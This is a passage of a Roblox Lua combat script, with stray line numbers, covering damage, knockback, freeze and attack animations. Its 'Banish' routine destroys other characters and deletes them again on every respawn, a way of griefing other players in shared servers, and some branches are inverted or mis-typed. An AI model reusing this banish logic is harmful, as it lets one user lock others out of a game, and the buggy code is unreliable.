    TEXTLABEL.Font = "SciFi"
2586
    TEXTLABEL.FontSize="Size42"
2587
    TEXTLABEL.TextColor3 = COLOR
2588
    TEXTLABEL.TextStrokeTransparency = 1
2589
    TEXTLABEL.TextScaled = true
2590
    TEXTLABEL.TextWrapped = true
2591
    coroutine.resume(coroutine.create(function(THEPART, THEBODYPOSITION, THETEXTLABEL)
2592
        if LABELTYPE == "Normal" then
2593
            for i = 1, 30 do
2594
                Swait()
2595
                STATPART.Position = STATPART.Position + VT(0, (15-i)/10 ,0)
2596
                TEXTLABEL.TextTransparency = TEXTLABEL.TextTransparency + (1/30)
2597
            end
2598
        elseif LABELTYPE == "Debuff" then
2599
            for i = 1, 30 do
2600
                Swait()
2601
                STATPART.Position = STATPART.Position - VT(0, i/10 ,0)
2602
                TEXTLABEL.TextTransparency = TEXTLABEL.TextTransparency + (1/30)
2603
            end
2604
        elseif LABELTYPE == "Shock" then
2605
            local ORIGIN = STATPART.Position
2606
            for i = 1, 30 do
2607
                Swait()
2608
                STATPART.Position = ORIGIN + VT(MRANDOM(-2,2),MRANDOM(-2,2),MRANDOM(-2,2))
2609
                TEXTLABEL.TextTransparency = TEXTLABEL.TextTransparency + (1/30)
2610
            end
2611
        end
2612
        THEPART.Parent = nil
2613
    end),STATPART, BODYPOSITION, TEXTLABEL)
2614
end
2615
 
2616
--//=================================\\
2617
--||            DAMAGING
2618
--\\=================================//
2619
 
2620
function killnearest(position,range,maxstrength,direction)
2621
    for i,v in ipairs(workspace:GetChildren()) do
2622
    local body = v:GetChildren()
2623
        for part = 1, #body do
2624
            if((body[part].ClassName == "Part" or body[part].ClassName == "MeshPart") and v ~= Character) then
2625
                if(body[part].Position - position).Magnitude < range then
2626
                    if v.ClassName == "Model" then
2627
                        --v:BreakJoints()
2628
                    end
2629
                    local POS = position
2630
                    coroutine.resume(coroutine.create(function()
2631
                        body[part].Anchored = true
2632
                        body[part].Parent = Effects
2633
                        body[part].CanCollide = true
2634
                        local SIZE = body[part].Size
2635
                        body[part].Material = "Neon"
2636
                        CreateSound("952306739", body[part], 2, MRANDOM(7, 12) / 10)
2637
                        for i = 1, 75 do
2638
                            Swait()
2639
                            body[part].Color = C3(255/255, 255/255, 255/255)
2640
                            body[part].Size = VT(SIZE.X+MRANDOM(-2,2),SIZE.Y+MRANDOM(-2,2),SIZE.Z+MRANDOM(-2,2))
2641
                        end
2642
                        coroutine.resume(coroutine.create(function()
2643
                            while true do
2644
                                Swait()
2645
                                body[part].Color = C3(255/255, 255/255, 255/255)
2646
                                body[part].Size = VT(SIZE.X+MRANDOM(-2,2),SIZE.Y+MRANDOM(-2,2),SIZE.Z+MRANDOM(-2,2))
2647
                            end
2648
                        end))
2649
                        body[part].Anchored = false
2650
                        body[part].Velocity = direction.lookVector*maxstrength
2651
                    end))
2652
                end
2653
            end
2654
        end
2655
        if v.ClassName == "Part" then
2656
            if v.Anchored == false and (v.Position - position).Magnitude < range then
2657
                local POS = position
2658
                coroutine.resume(coroutine.create(function()
2659
                    v.Anchored = true
2660
                    v.Parent = Effects
2661
                    local SIZE = v.Size
2662
                    v.Material = "Neon"
2663
                    CreateSound("952306739", v, 2, MRANDOM(7, 12) / 10)
2664
                    for i = 1, 75 do
2665
                        Swait()
2666
                        v.Color = C3(MRANDOM(0,100)/100,MRANDOM(0,100)/100,MRANDOM(0,100)/100)
2667
                        v.Size = VT(SIZE.X+MRANDOM(-2,2),SIZE.Y+MRANDOM(-2,2),SIZE.Z+MRANDOM(-2,2))
2668
                    end
2669
                    coroutine.resume(coroutine.create(function()
2670
                        while true do
2671
                            Swait()
2672
                            v.Color = C3(MRANDOM(0,100)/100,MRANDOM(0,100)/100,MRANDOM(0,100)/100)
2673
                            v.Size = VT(SIZE.X+MRANDOM(-2,2),SIZE.Y+MRANDOM(-2,2),SIZE.Z+MRANDOM(-2,2))
2674
                        end
2675
                    end))
2676
                    v.Anchored = false
2677
                    v.Velocity = direction.lookVector*maxstrength
2678
                end))
2679
            end
2680
        end
2681
    end
2682
end
2683
 
2684
function Banish(Foe)
2685
    if Foe then
2686
        coroutine.resume(coroutine.create(function()
2687
            --if game.Players:FindFirstChild(Foe.Name) then
2688
                table.insert(TOBANISH,Foe.Name)
2689
                printbye(Foe.Name)
2690
            --end
2691
            Foe.Archivable = true
2692
            local CLONE = Foe:Clone()
2693
            Foe:Destroy()
2694
            CLONE.Parent = Effects
2695
            CLONE:BreakJoints()
2696
            local MATERIALS = {"Glass","Neon"}
2697
            for _, c in pairs(CLONE:GetDescendants()) do
2698
                if c:IsA("BasePart") then
2699
                    if c.Name == "Torso" or c.Name == "UpperTorso" or c == CLONE.PrimaryPart then
2700
                        CreateSound(340722848, c, 10, 1, false)
2701
                    end
2702
                    c.Anchored = true
2703
                    c.Transparency = c.Transparency + 0.2
2704
                    c.Material = MATERIALS[MRANDOM(1,2)]
2705
                    c.Color = C3(1,0,0)
2706
                    if c.ClassName == "MeshPart" then
2707
                        c.TextureID = ""
2708
                    end
2709
                    if c:FindFirstChildOfClass("SpecialMesh") then
2710
                        c:FindFirstChildOfClass("SpecialMesh").TextureId = ""
2711
                    end
2712
                    if c:FindFirstChildOfClass("Decal") then
2713
                        c:FindFirstChildOfClass("Decal"):remove()
2714
                    end
2715
                    c.Name = "Banished"
2716
                    c.CanCollide = false
2717
                else
2718
                    c:remove()
2719
                end
2720
            end
2721
            local A = false
2722
            for i = 1, 35 do
2723
                if A == false then
2724
                    A = true
2725
                elseif A == true then
2726
                    A = false
2727
                end
2728
                for _, c in pairs(CLONE:GetDescendants()) do
2729
                    if c:IsA("BasePart") then
2730
                        c.Anchored = true
2731
                        c.Material = MATERIALS[MRANDOM(1,2)]
2732
                        c.Transparency = c.Transparency + 0.8/35
2733
                        if A == false then
2734
                            c.CFrame = c.CFrame*CF(MRANDOM(-45,45)/45,MRANDOM(-45,45)/45,MRANDOM(-45,45)/45)
2735
                        elseif A == true then
2736
                            c.CFrame = c.CFrame*CF(MRANDOM(-45,45)/45,MRANDOM(-45,45)/45,MRANDOM(-45,45)/45)                       
2737
                        end
2738
                    end
2739
                end
2740
                Swait()
2741
            end
2742
            CLONE:remove()
2743
        end))
2744
    end
2745
end
2746
 
2747
function BANISHAOE(POSITION,RANGE,ISBANISH)
2748
    local CHILDREN = workspace:GetDescendants()
2749
    for index, CHILD in pairs(CHILDREN) do
2750
        if CHILD.ClassName == "Model" and CHILD ~= Character then
2751
            local HUM = CHILD:FindFirstChildOfClass("Humanoid")
2752
            if HUM then
2753
                local TORSO = CHILD:FindFirstChild("Torso") or CHILD:FindFirstChild("UpperTorso")
2754
                if TORSO then
2755
                    if (TORSO.Position - POSITION).Magnitude <= RANGE then
2756
                        if ISBANISH == true then
2757
                            Banish(CHILD)
2758
                        else
2759
                            if ISBANISH == "Gravity" then
2760
                                HUM.PlatformStand = true
2761
                                if TORSO:FindFirstChild("V3BanishForce"..Player.Name) then
2762
                                    local grav = Instance.new("BodyPosition",TORSO)
2763
                                    grav.D = 15
2764
                                    grav.P = 20000
2765
                                    grav.maxForce = Vector3.new(math.huge,math.huge,math.huge)
2766
                                    grav.position = TORSO.Position
2767
                                    grav.Name = "V3BanishForce"..Player.Name
2768
                                else
2769
                                    TORSO:FindFirstChild("V3BanishForce"..Player.Name).position = TORSO.Position+VT(0,0.3,0)
2770
                                    TORSO.RotVelocity = VT(MRANDOM(-25,25),MRANDOM(-25,25),MRANDOM(-25,25))
2771
                                end
2772
                            else
2773
                                HUM.PlatformStand = false
2774
                            end
2775
                        end
2776
                    elseif ISBANISH == "Gravity" then
2777
                        if TORSO:FindFirstChild("V3BanishForce"..Player.Name) then
2778
                            TORSO:FindFirstChild("V3BanishForce"..Player.Name):remove()
2779
                            HUM.PlatformStand = false
2780
                        end
2781
                    end
2782
                end
2783
            end
2784
        end
2785
    end
2786
end
2787
 
2788
local DAMAGEMULTIPLIER = 1
2789
function ManualDamage(Humanoid,Damage,TorsoPart)
2790
    local defence = Instance.new("BoolValue",Humanoid.Parent)
2791
    defence.Name = ("HitBy"..Player.Name)
2792
    game:GetService("Debris"):AddItem(defence, 0.001)
2793
    Damage = Damage * DAMAGEMULTIPLIER
2794
    if Humanoid.Health ~= 0 then
2795
        local CritChance = MRANDOM(1,100)
2796
        if Damage > Humanoid.Health then
2797
            Damage = math.ceil(Humanoid.Health)
2798
            if Damage == 0 then
2799
                Damage = 0.1
2800
            end
2801
        end
2802
        Humanoid.Health = Humanoid.Health - Damage
2803
    end
2804
end
2805
 
2806
function ManualAoE(POSITION,RANGE,MINDMG,MAXDMG,FLING,INSTAKILL)
2807
    local CHILDREN = workspace:GetDescendants()
2808
    for index, CHILD in pairs(CHILDREN) do
2809
        if CHILD.ClassName == "Model" and CHILD ~= Character and CHILD.Parent ~= Effects then
2810
            local HUM = CHILD:FindFirstChildOfClass("Humanoid")
2811
            if HUM then
2812
                local TORSO = CHILD:FindFirstChild("Torso") or CHILD:FindFirstChild("UpperTorso")
2813
                if TORSO then
2814
                    if (TORSO.Position - POSITION).Magnitude <= RANGE then
2815
                        if INSTAKILL == true then
2816
                            CHILD:BreakJoints()
2817
                        else
2818
                            local DMG = MRANDOM(MINDMG,MAXDMG)
2819
                            ManualDamage(HUM,DMG,TORSO)
2820
                        end
2821
                        if FLING > 0 then
2822
                            for _, c in pairs(CHILD:GetChildren()) do
2823
                                if c:IsA("BasePart") then
2824
                                    local bv = Instance.new("BodyVelocity")
2825
                                    bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
2826
                                    bv.velocity = CF(POSITION,TORSO.Position).lookVector*FLING
2827
                                    bv.Parent = c
2828
                                    Debris:AddItem(bv,0.05)
2829
                                end
2830
                            end
2831
                        end
2832
                    end
2833
                end
2834
            end
2835
        end
2836
    end
2837
end
2838
 
2839
function dmg(dude)
2840
if dude.Name ~= Character then
2841
local keptcolor = MAINRUINCOLOR
2842
local bgf = Instance.new("BodyGyro",dude.Head)
2843
bgf.CFrame = bgf.CFrame * CFrame.fromEulerAnglesXYZ(RAD(-90),0,0)
2844
--[[local val = Instance.new("BoolValue",dude)
2845
val.Name = "IsHit"]]--
2846
local ds = coroutine.wrap(function()
2847
dude:WaitForChild("Head"):BreakJoints()
2848
for i, v in pairs(dude:GetChildren()) do
2849
if v:IsA("Part") or v:IsA("MeshPart") then
2850
v.Name = "DEMINISHED"
2851
end
2852
end
2853
wait(0.5)
2854
CFuncs["Sound"].Create("rbxassetid://62339698", Effects, 0.75, 0.285)
2855
coroutine.resume(coroutine.create(function()
2856
for i, v in pairs(dude:GetChildren()) do
2857
if v:IsA("Accessory") then
2858
v:Destroy()
2859
end
2860
if v:IsA("Humanoid") then
2861
v:Destroy()
2862
end
2863
if v:IsA("CharacterMesh") then
2864
v:Destroy()
2865
end
2866
if v:IsA("Model") then
2867
v:Destroy()
2868
end
2869
if v:IsA("Part") or v:IsA("MeshPart") then
2870
for x, o in pairs(v:GetChildren()) do
2871
if o:IsA("Decal") then
2872
o:Destroy()
2873
end
2874
end
2875
coroutine.resume(coroutine.create(function()
2876
v.Material = "Neon"
2877
v.CanCollide = false
2878
v.Anchored = false
2879
local bld = Instance.new("ParticleEmitter",v)
2880
bld.LightEmission = 0.75
2881
bld.Texture = "rbxassetid://363275192" ---284205403
2882
bld.Color = ColorSequence.new(keptcolor.Color)
2883
bld.Rate = 500
2884
bld.Lifetime = NumberRange.new(1)
2885
bld.Size = NumberSequence.new({NumberSequenceKeypoint.new(0,2,0),NumberSequenceKeypoint.new(0.8,2.25,0),NumberSequenceKeypoint.new(1,0,0)})
2886
bld.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0.5,0),NumberSequenceKeypoint.new(0.8,0.75,0),NumberSequenceKeypoint.new(1,1,0)})
2887
bld.Speed = NumberRange.new(2,5)
2888
bld.VelocitySpread = 50000
2889
bld.Rotation = NumberRange.new(-500,500)
2890
bld.RotSpeed = NumberRange.new(-500,500)
2891
        local sbs = Instance.new("BodyPosition", v)
2892
        sbs.P = 3000
2893
        sbs.D = 1000
2894
        sbs.maxForce = Vector3.new(50000000000, 50000000000, 50000000000)
2895
        sbs.position = v.Position + Vector3.new(MRANDOM(-2,2),10 + MRANDOM(-2,2),MRANDOM(-2,2))
2896
v.Color = keptcolor.Color
2897
coroutine.resume(coroutine.create(function()
2898
for i = 0, 49 do
2899
Swait(1)
2900
v:BreakJoints()
2901
v.Transparency = v.Transparency + 0.02
2902
end
2903
v:BreakJoints()
2904
sphere2(1,"Add",v.CFrame,vt(0,0,0),0.1,0.1,0.1,keptcolor)
2905
CFuncs["Sound"].Create("rbxassetid://1192402877", v, 0.5, 0.75)
2906
bld.Speed = NumberRange.new(10,25)
2907
bld.Drag = 5
2908
bld.Acceleration = vt(0,2,0)
2909
wait(0.5)
2910
bld.Enabled = false
2911
wait(8)
2912
v:Destroy()
2913
dude:Destroy()
2914
end))
2915
end))
2916
end
2917
end
2918
end))
2919
end)
2920
ds()
2921
end
2922
end
2923
 
2924
function ShowDamage(Pos, Text, Time, Color)
2925
  local Rate = 0.03333333333333333
2926
  local Pos = Pos or Vector3.new(0, 0, 0)
2927
  local Text = Text or ""
2928
  local Time = Time or 2
2929
  local Color = Color or C3(1, 0, 1)
2930
  local EffectPart = CreatePartb(workspace, "SmoothPlastic", 0, 1, BrickColor.new(Color), "Effect", Vector3.new(0, 0, 0))
2931
  EffectPart.Anchored = true
2932
  local BillboardGui = Create("BillboardGui")({
2933
    Size = UDim2.new(3, 0, 3, 0),
2934
    Adornee = EffectPart,
2935
    Parent = EffectPart
2936
  })
2937
  local TextLabel = Create("TextLabel")({
2938
    BackgroundTransparency = 1,
2939
    Size = UDim2.new(1, 0, 1, 0),
2940
    Text = Text,
2941
    TextColor3 = Color,
2942
    TextScaled = true,
2943
    Font = Enum.Font.ArialBold,
2944
    Parent = BillboardGui
2945
  })
2946
  game.Debris:AddItem(EffectPart, Time + 0.1)
2947
  EffectPart.Parent = game:GetService("Workspace")
2948
  delay(0, function()
2949
    local Frames = Time / Rate
2950
    for Frame = 1, Frames do
2951
      wait(Rate)
2952
      local Percent = Frame / Frames
2953
      EffectPart.CFrame = CFrame.new(Pos) + Vector3.new(0, Percent, 0)
2954
      TextLabel.TextTransparency = Percent
2955
    end
2956
    if EffectPart and EffectPart.Parent then
2957
      EffectPart:Destroy()
2958
    end
2959
  end)
2960
end
2961
 
2962
function Damagefunc(Part, hit, minim, maxim, knockback, Type, Property, Delay, HitSound, HitPitch)
2963
  if hit.Parent == nil then
2964
    return
2965
  end
2966
  local h = hit.Parent:FindFirstChildOfClass("Humanoid")
2967
  for _, v in pairs(hit.Parent:children()) do
2968
    if v:IsA("Humanoid") then
2969
      h = v
2970
    end
2971
  end
2972
  if h ~= nil and hit.Parent.Name ~= Character.Name and hit.Parent:FindFirstChild("Head") ~= nil then
2973
    if hit.Parent:findFirstChild("DebounceHit") ~= nil and hit.Parent.DebounceHit.Value == true then
2974
      return
2975
    end
2976
    local c = Create("ObjectValue")({
2977
      Name = "creator",
2978
      Value = script.Parent.Parent.Parent:FindFirstChild(script.Parent.Parent.Name),
2979
      Parent = h
2980
    })
2981
    game:GetService("Debris"):AddItem(c, 0.5)
2982
    if HitSound ~= nil and HitPitch ~= nil then
2983
      CFuncs.Sound.Create(HitSound, hit, 1, HitPitch)
2984
    end
2985
    local Damage = MRANDOM(minim, maxim)
2986
    local blocked = false
2987
    local block = hit.Parent:findFirstChild("Block")
2988
    if block ~= nil and block.className == "IntValue" and block.Value > 0 then
2989
      blocked = true
2990
      block.Value = block.Value - 1
2991
      print(block.Value)
2992
    end
2993
    h.Health = h.Health - Damage / 2
2994
    ShowDamage(Part.CFrame * CFrame.new(0, 0, Part.Size.Z / 2).p + Vector3.new(0, 1.5, 0), -Damage, 1.5, Part.BrickColor.Color)
2995
    if Type == "Knockdown" then
2996
      local hum = hit.Parent.Humanoid
2997
      hum.PlatformStand = true
2998
      coroutine.resume(coroutine.create(function(HHumanoid)
2999
        Swait(1)
3000
        HHumanoid.PlatformStand = false
3001
      end), hum)
3002
      local angle = hit.Position - (Property.Position + Vector3.new(0, 0, 0)).unit
3003
      local bodvol = Create("BodyVelocity")({
3004
        velocity = angle * knockback,
3005
        P = 5000,
3006
        maxForce = Vector3.new(8000, 8000, 8000),
3007
        Parent = hit
3008
      })
3009
      local rl = Create("BodyAngularVelocity")({
3010
        P = 3000,
3011
        maxTorque = Vector3.new(500000, 500000, 500000) * 50000000000000,
3012
        angularvelocity = Vector3.new(MRANDOM(-10, 10), MRANDOM(-10, 10), MRANDOM(-10, 10)),
3013
        Parent = hit
3014
      })
3015
      game:GetService("Debris"):AddItem(bodvol, 0.5)
3016
      game:GetService("Debris"):AddItem(rl, 0.5)
3017
    elseif Type == "Normal" then
3018
      local vp = Create("BodyVelocity")({
3019
        P = 500,
3020
        maxForce = Vector3.new(math.huge, 0, math.huge),
3021
        velocity = Property.CFrame.lookVector * knockback + Property.Velocity / 1.05
3022
      })
3023
      if knockback > 0 then
3024
        vp.Parent = hit.Parent.Head
3025
      end
3026
      game:GetService("Debris"):AddItem(vp, 0.5)
3027
    elseif Type == "Up" then
3028
      local bodyVelocity = Create("BodyVelocity")({
3029
        velocity = Vector3.new(0, 20, 0),
3030
        P = 5000,
3031
        maxForce = Vector3.new(8000, 8000, 8000),
3032
        Parent = hit
3033
      })
3034
      game:GetService("Debris"):AddItem(bodyVelocity, 0.5)
3035
      local bodyVelocity = Create("BodyVelocity")({
3036
        velocity = Vector3.new(0, 20, 0),
3037
        P = 5000,
3038
        maxForce = Vector3.new(8000, 8000, 8000),
3039
        Parent = hit
3040
      })
3041
      game:GetService("Debris"):AddItem(bodyVelocity, 1)
3042
    elseif Type == "UpKnock" then
3043
      local hum = hit.Parent.Humanoid
3044
      hum.PlatformStand = true
3045
      if hum ~= nil then
3046
        hitr = true
3047
      end
3048
      coroutine.resume(coroutine.create(function(HHumanoid)
3049
        Swait(5)
3050
        HHumanoid.PlatformStand = false
3051
        hitr = false
3052
      end), hum)
3053
      local bodyVelocity = Create("BodyVelocity")({
3054
        velocity = Vector3.new(0, 20, 0),
3055
        P = 5000,
3056
        maxForce = Vector3.new(8000, 8000, 8000),
3057
        Parent = hit
3058
      })
3059
      game:GetService("Debris"):AddItem(bodyVelocity, 0.5)
3060
      local bodyVelocity = Create("BodyVelocity")({
3061
        velocity = Vector3.new(0, 20, 0),
3062
        P = 5000,
3063
        maxForce = Vector3.new(8000, 8000, 8000),
3064
        Parent = hit
3065
      })
3066
      game:GetService("Debris"):AddItem(bodyVelocity, 1)
3067
    elseif Type == "Snare" then
3068
      local bp = Create("BodyPosition")({
3069
        P = 2000,
3070
        D = 100,
3071
        maxForce = Vector3.new(math.huge, math.huge, math.huge),
3072
        position = hit.Parent.Torso.Position,
3073
        Parent = hit.Parent.Torso
3074
      })
3075
      game:GetService("Debris"):AddItem(bp, 1)
3076
    elseif Type == "Freeze" then
3077
      local BodPos = Create("BodyPosition")({
3078
        P = 50000,
3079
        D = 1000,
3080
        maxForce = Vector3.new(math.huge, math.huge, math.huge),
3081
        position = hit.Parent.Torso.Position,
3082
        Parent = hit.Parent.Torso
3083
      })
3084
      local BodGy = Create("BodyGyro")({
3085
        maxTorque = Vector3.new(400000, 400000, 400000) * math.huge,
3086
        P = 20000,
3087
        Parent = hit.Parent.Torso,
3088
        cframe = hit.Parent.Torso.CFrame
3089
      })
3090
      hit.Parent.Torso.Anchored = true
3091
      coroutine.resume(coroutine.create(function(Part)
3092
        Swait(1.5)
3093
        Part.Anchored = false
3094
      end), hit.Parent.Torso)
3095
      game:GetService("Debris"):AddItem(BodPos, 3)
3096
      game:GetService("Debris"):AddItem(BodGy, 3)
3097
    end
3098
    local debounce = Create("BoolValue")({
3099
      Name = "DebounceHit",
3100
      Parent = hit.Parent,
3101
      Value = true
3102
    })
3103
    game:GetService("Debris"):AddItem(debounce, Delay)
3104
    c = Instance.new("ObjectValue")
3105
    c.Name = "creator"
3106
    c.Value = Player
3107
    c.Parent = h
3108
    game:GetService("Debris"):AddItem(c, 0.5)
3109
  end
3110
end
3111
 
3112
function MagniDamage(Part, magni, mindam, maxdam, knock, Type)
3113
  for _, c in pairs(workspace:children()) do
3114
    local hum = c:findFirstChildOfClass("Humanoid")
3115
    if hum ~= nil then
3116
      local head = c:findFirstChild("Head")
3117
      if head ~= nil then
3118
        local targ = head.Position - Part.Position
3119
        local mag = targ.magnitude
3120
        if magni >= mag and c.Name ~= Player.Name then
3121
          Damagefunc(head, head, mindam, maxdam, knock, Type, RootPart, 0.1, "rbxassetid://231917784", 1)
3122
        end
3123
      end
3124
    end
3125
  end
3126
end
3127
 
3128
workspace.ChildAdded:connect(function(instance)
3129
    for BANISH = 1, #TOBANISH do
3130
        if TOBANISH[BANISH] ~= nil then
3131
            if instance.Name == TOBANISH[BANISH] then
3132
                coroutine.resume(coroutine.create(function()
3133
                    printbye(instance.Name)
3134
                    instance:ClearAllChildren()
3135
                    Debris:AddItem(instance,0.0005)
3136
                end))
3137
            end
3138
        end
3139
    end
3140
end)
3141
 
3142
--//=================================\\
3143
--||    ATTACK FUNCTIONS AND STUFF
3144
--\\=================================//
3145
 
3146
function AttackTemplate()
3147
    ATTACK = true
3148
    Rooted = false
3149
    for i=0, 1, 0.1 / Animation_Speed do
3150
        Swait()
3151
        RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.1 / Animation_Speed)
3152
        Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.1 / Animation_Speed)
3153
        RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(12)) * RIGHTSHOULDERC0, 0.1 / Animation_Speed)
3154
        LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-12)) * LEFTSHOULDERC0, 0.1 / Animation_Speed)
3155
        RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3156
        LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
3157
    end
3158
    ATTACK = false
3159
    Rooted = false
3160
end
3161
 
3162
function ByeBye()
3163
    turnto(Mouse.Hit.p)
3164
    local PART = CreatePart(3, Effects, "Neon", 0, 0.8, BrickColor.Random(), "Punch", VT(50,50,50),false)
3165
    PART.CFrame = RootPart.CFrame * CF(0,0,-25)
3166
    PART.Shape = "Ball"
3167
    local bv = Instance.new("BodyVelocity")
3168
    bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
3169
    bv.velocity = RootPart.CFrame.lookVector*600
3170
    bv.Parent = PART
3171
    bv.Name = "PROJECTILEVELOCITY"
3172
    CreateWave(VT(1,5,1),55,RootPart.CFrame * CF(0,0,-6)*ANGLES(RAD(-90),RAD(0),RAD(0)),true,-1,BrickColor.Random(),VT(2.5,0.2,2.5))
3173
    CreateWave(VT(1,5,1),55,RootPart.CFrame * CF(0,0,-6)*ANGLES(RAD(-90),RAD(0),RAD(0)),true,1,BrickColor.Random(),VT(3,0.2,3))
3174
    CreateSwirl(VT(3,5,3),75,RootPart.CFrame * CF(0,0,-15)*ANGLES(RAD(-90),RAD(0),RAD(0)),true,-1,BrickColor.Random(),VT(2,0.6,2))
3175
    CreateSwirl(VT(3,5,3),75,RootPart.CFrame * CF(0,0,-15)*ANGLES(RAD(-90),RAD(0),RAD(0)),true,1,BrickColor.Random(),VT(2.2,0.6,2.2))
3176
    CFuncs["Sound"].Create("rbxassetid://438666141", Character, 3,1)
3177
    CFuncs["Sound"].Create("rbxassetid://1208650519", Character, 4, 1)
3178
    coroutine.resume(coroutine.create(function()
3179
        for i = 1, 10 do
3180
            Swait()
3181
            PART.Transparency = PART.Transparency + 0.2/10
3182
            PART.Size = PART.Size + VT(5,5,5)
3183
            killnearest(PART.Position,PART.Size.Y/2+15,100,RootPart.CFrame)
3184
        end
3185
        PART:Destroy()
3186
    end))
3187
    for i=0, 1, 0.1 / Animation_Speed do
3188
        Swait()
3189
        RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0 * Player_Size, 0 * Player_Size, -0.2 * Player_Size + 0.05 * COS(SINE / 12) * Player_Size) * ANGLES(RAD(15), RAD(0), RAD(95)), 2 / Animation_Speed)
3190
        Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0 * Player_Size, 0 * Player_Size, 0 + ((1 * Player_Size) - 1)) * ANGLES(RAD(25), RAD(0), RAD(35)), 3 / Animation_Speed)
3191
        RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5 * Player_Size, 0.5 * Player_Size, 0 * Player_Size) * ANGLES(RAD(90), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 3 / Animation_Speed)
3192
        LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5 * Player_Size, 0.5 * Player_Size, 0 * Player_Size) * ANGLES(RAD(-70), RAD(0), RAD(-25)) * LEFTSHOULDERC0, 3 / Animation_Speed)
3193
        RightHip.C0 = Clerp(RightHip.C0, CF(1 * Player_Size, -0.8 * Player_Size, -0 * Player_Size) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-15), RAD(0), RAD(0)), 3 / Animation_Speed)
3194
        LeftHip.C0 = Clerp(LeftHip.C0, CF(-1 * Player_Size, -1 * Player_Size, -0 * Player_Size) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-5), RAD(0), RAD(0)), 3 / Animation_Speed)
3195
    end
3196
end
3197
 
3198
function HisGrasp()
3199
    ATTACK = true
3200
    Rooted = false
3201
    local HASGRABBED = false
3202
    local WELD = nil
3203
    local TORS = nil
3204
    local hitting = RightArm.Touched:connect(function(hit)
3205
        if hit.Parent:FindFirstChild("Humanoid") then
3206
            if hit.Parent.Humanoid.Health ~= 0 then
3207
                UNANCHOR = false
3208
                TORS = hit.Parent:FindFirstChild("Torso") or hit.Parent:FindFirstChild("UpperTorso")
3209
                TORS.Anchored = true
3210
                TORS.CFrame = RightArm.CFrame * CF(0,-1.15,0) * ANGLES(RAD(90), RAD(0), RAD(0))
3211
                WELD = weldBetween(RightArm,TORS)
3212
                HASGRABBED = true
3213
                Rooted = true
3214
            end
3215
        end
3216
    end)
3217
    for i=0, 1, 0.1 / Animation_Speed do
3218
        Swait()
3219
        if HASGRABBED == true then
3220
            break
3221
        end
3222
        RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(25)), 2 / Animation_Speed)
3223
        Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(-25)), 2 / Animation_Speed)
3224
        RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1, 0.5, -1) * ANGLES(RAD(90), RAD(0), RAD(-25)) * RIGHTSHOULDERC0, 2 / Animation_Speed)
3225
        LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-12)) * LEFTSHOULDERC0, 2 / Animation_Speed)
3226
        RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 2 / Animation_Speed)
3227
        LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 2 / Animation_Speed)
3228
    end
3229
    hitting:disconnect()
3230
    if HASGRABBED == true then
3231
        TORS.Anchored = false
3232
        RootPart.Anchored = true
3233
        for i=0, 2, 0.1 / Animation_Speed do
3234
            Swait()
3235
            RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -1.2) * ANGLES(RAD(65), RAD(0), RAD(0)), 0.2 / Animation_Speed)
3236
            Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
3237
            RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(-40), RAD(0), RAD(20)) * RIGHTSHOULDERC0, 0.2 / Animation_Speed)
3238
            LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-40), RAD(0), RAD(-20)) * LEFTSHOULDERC0, 0.2 / Animation_Speed)
3239
            RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.3, -1) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-20)), 0.2 / Animation_Speed)
3240
            LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.3, -1) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
3241
        end
3242
